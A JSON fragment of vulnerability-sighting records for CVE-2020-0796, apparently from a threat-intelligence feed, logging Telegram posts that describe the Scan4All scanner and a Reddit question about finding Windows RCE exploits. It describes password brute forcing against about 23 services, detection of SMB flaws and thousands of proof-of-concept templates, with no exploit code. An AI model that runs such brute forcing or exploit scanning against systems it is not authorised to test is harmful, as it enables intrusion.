"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hacking_Attack/117684", "content": "Kali Linux Tutorials\nScan4All: A Next-Gen Automated Vulnerability Detection Security Tool\n\nScan4All is at the vanguard of modern cybersecurity solutions, offering a comprehensive suite of tools for automated vulnerability detection and threat analysis.\n\nBuilt on a robust Golang framework, this cross-platform toolkit seamlessly integrates with various systems, elevating the standard for next-generation security measures. Features\n\n* What Is Scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent team tools? Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. \n* In principle, do not repeat the wheel unless there are bugs or problems\n* Cross-Platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n\n* Support [23] password blasting, support custom dictionary, open by \u201cpriorityNmap\u201d: true\n\n* RDP\n* VNC\n* SSH\n* Socks5\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n\n* SMB also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), and SmbGhost (CVE-2020-0796)\n\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth (authorization)  contains the WebdavSVN (Apache Subversion) crack\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3/POP3S\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan.\n\n* Disadvantages of using nmap: Is the network bad because the traffic network packet is too large, which may lead to incomplete results? Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning. Use -stats=true to view the scanning progress Can I not scan Ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* With fast 15000+ POC detection capabilities, PoCs include:\n* nuclei POC Nuclei Templates: Top 10 Statistics\nTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1430daffainfo631cves1407info1474http3858panel655dhiyaneshdk584exposed-panels662high1009file76edb563pikpikcu329vulnerabilities509medium818network51lfi509pdteam269technologies282critical478dns17xss491geeknik187exposures275low225wordpress419dwisiswant0169misconfiguration237unknown11exposure4070x_akoko165token-spray230cve2021352princechaddha151workflows189rce337ritikchaddha137default-logins103wp-plugin316pussycat0x133file76 \n281 Directories, 3922 Files\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n* Support 7000+ web fingerprint scanning and identification: \n* httpx fingerprint \n* vscan fingerprint\n* Vscan Fingerprint: including EHoleFinger, LocalFinger, etc.\n\n* scan4all fingerprint\n\n* Support 146 protocols and 90000+ rule port scanning \n* Depends on protocols and fingerprints supported by nmap\n\n* Fast HTTP-sensitive file detection, customizable dictionary\n* Landing page detection\n* Supports multiple types of input: STDIN, HOST, IP, CIDR, URL, and TXT\n* Supports multiple output types: JSON, TXT, CSV, and STDOUT\n* Highly Integratable: Configurable unified storage of results in Elasticsearch [strongly recommended]\n* Smart SSL Analysis: \n* In-depth analysis will automatically correlate the scanning of domain names in SSL information, such as *.xxx.c[...]", "creation_timestamp": "2026-09-01T20:00:48.665742Z"}, {"uuid": "8b263df2-4dd4-4267-a3df-89ab2fbddd6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/oRiEIVnInMQs86TXxAEY2QrbGQFP5iG6WzuQ0YWyTIYGY5te", "content": "", "creation_timestamp": "2026-09-01T20:02:51.184436Z"}, {"uuid": "4d6a5f60-d282-4c5d-9cb6-32939a38a2f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/y1ByEAyBgqSr38iYzVxIDGNoqBwF7edHSxCzzlwqG1Fr5mxc", "content": "", "creation_timestamp": "2026-09-01T20:02:51.205853Z"}, {"uuid": "e9891064-bcd8-4589-83bf-c11acd543feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hacking_Attack/3495", "content": "Resource for finding RCE exploits targeting Windows\nhttps://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/\n\nIs there an online database/list that includes remote code execution exploits targeting Windows? Something that would include exploits like eternalblue (MS17-010), smbghost (CVE-2020-0796), Microsoft server service (MS06-040), etc. When pentesting a target, one can use searchsploit. However, the targeted Windows service like SMB does not include a version number in the banner so using searchsploit wouldn't be useful.    submitted by    /u/tsigorai  (https://www.reddit.com/user/tsigorai) \n[link] (https://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/)   [comments] (https://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/)", "creation_timestamp": "2026-09-01T20:02:49.861293Z"}, {"uuid": "893599ea-011f-4f53-80c1-0b54358d5092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hacking_Attack/117684", "content": "Kali Linux Tutorials\nScan4All: A Next-Gen Automated Vulnerability Detection Security Tool\n\nScan4All is at the vanguard of modern cybersecurity solutions, offering a comprehensive suite of tools for automated vulnerability detection and threat analysis.\n\nBuilt on a robust Golang framework, this cross-platform toolkit seamlessly integrates with various systems, elevating the standard for next-generation security measures. Features\n\n* What Is Scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent team tools? Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. \n* In principle, do not repeat the wheel unless there are bugs or problems\n* Cross-Platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n\n* Support [23] password blasting, support custom dictionary, open by \u201cpriorityNmap\u201d: true\n\n* RDP\n* VNC\n* SSH\n* Socks5\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n\n* SMB also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), and SmbGhost (CVE-2020-0796)\n\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth (authorization)  contains the WebdavSVN (Apache Subversion) crack\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3/POP3S\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan.\n\n* Disadvantages of using nmap: Is the network bad because the traffic network packet is too large, which may lead to incomplete results? Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning. Use -stats=true to view the scanning progress Can I not scan Ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* With fast 15000+ POC detection capabilities, PoCs include:\n* nuclei POC Nuclei Templates: Top 10 Statistics\nTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1430daffainfo631cves1407info1474http3858panel655dhiyaneshdk584exposed-panels662high1009file76edb563pikpikcu329vulnerabilities509medium818network51lfi509pdteam269technologies282critical478dns17xss491geeknik187exposures275low225wordpress419dwisiswant0169misconfiguration237unknown11exposure4070x_akoko165token-spray230cve2021352princechaddha151workflows189rce337ritikchaddha137default-logins103wp-plugin316pussycat0x133file76 \n281 Directories, 3922 Files\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n* Support 7000+ web fingerprint scanning and identification: \n* httpx fingerprint \n* vscan fingerprint\n* Vscan Fingerprint: including EHoleFinger, LocalFinger, etc.\n\n* scan4all fingerprint\n\n* Support 146 protocols and 90000+ rule port scanning \n* Depends on protocols and fingerprints supported by nmap\n\n* Fast HTTP-sensitive file detection, customizable dictionary\n* Landing page detection\n* Supports multiple types of input: STDIN, HOST, IP, CIDR, URL, and TXT\n* Supports multiple output types: JSON, TXT, CSV, and STDOUT\n* Highly Integratable: Configurable unified storage of results in Elasticsearch [strongly recommended]\n* Smart SSL Analysis: \n* In-depth analysis will automatically correlate the scanning of domain names in SSL information, such as *.xxx.c[...]", "creation_timestamp": "2026-09-02T01:01:10.276467Z"}, {"uuid": "1fa16517-e860-469f-8130-514b61602b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/y1ByEAyBgqSr38iYzVxIDGNoqBwF7edHSxCzzlwqG1Fr5mxc", "content": "", "creation_timestamp": "2026-09-02T01:03:27.790616Z"}, {"uuid": "94c2f754-0563-4b12-9c71-665d2b58d625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hacking_Attack/3495", "content": "Resource for finding RCE exploits targeting Windows\nhttps://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/\n\nIs there an online database/list that includes remote code execution exploits targeting Windows? Something that would include exploits like eternalblue (MS17-010), smbghost (CVE-2020-0796), Microsoft server service (MS06-040), etc. When pentesting a target, one can use searchsploit. However, the targeted Windows service like SMB does not include a version number in the banner so using searchsploit wouldn't be useful.    submitted by    /u/tsigorai  (https://www.reddit.com/user/tsigorai) \n[link] (https://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/)   [comments] (https://www.reddit.com/r/Pentesting/comments/misisp/resource_for_finding_rce_exploits_targeting/)", "creation_timestamp": "2026-09-02T01:03:25.514606Z"}, {"uuid": "68ac2876-dbc3-447f-a90b-ea16708a37c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/oRiEIVnInMQs86TXxAEY2QrbGQFP5iG6WzuQ0YWyTIYGY5te", "content": "", "creation_timestamp": "2026-09-02T01:03:27.742698Z"}]}